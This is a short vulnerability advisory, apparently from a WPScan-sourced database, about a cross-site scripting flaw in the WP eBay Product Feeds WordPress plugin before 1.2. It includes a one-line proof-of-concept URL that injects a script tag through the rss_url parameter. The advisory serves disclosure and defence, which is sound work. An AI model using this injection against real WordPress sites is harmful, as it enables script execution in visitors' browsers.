Lucene search

K
wpvulndbWpvulndbWPVDB-ID:4BA10193-AE39-4B72-BE04-30A542CE986A
HistoryApr 25, 2014 - 12:00 a.m.

WP eBay Product Feeds < 1.2 - Cross-Site Scripting via rss_url Parameter

2014-04-2500:00:00
wpscan.com
9

0.001 Low

EPSS

Percentile

50.6%

The WP eBay Product Feeds WordPress plugin was affected by a Cross-Site Scripting via rss_url Parameter security vulnerability.

PoC

http://localhost/wordpress/wp-content/plugins/ebay–feeds–for–wordpress/magpie/scripts/magpie_slashbox.php?rss_url=<script>alert(1)</script>

CPENameOperatorVersion
ebay-feeds-for-wordpresslt1.2

0.001 Low

EPSS

Percentile

50.6%

Related for WPVDB-ID:4BA10193-AE39-4B72-BE04-30A542CE986A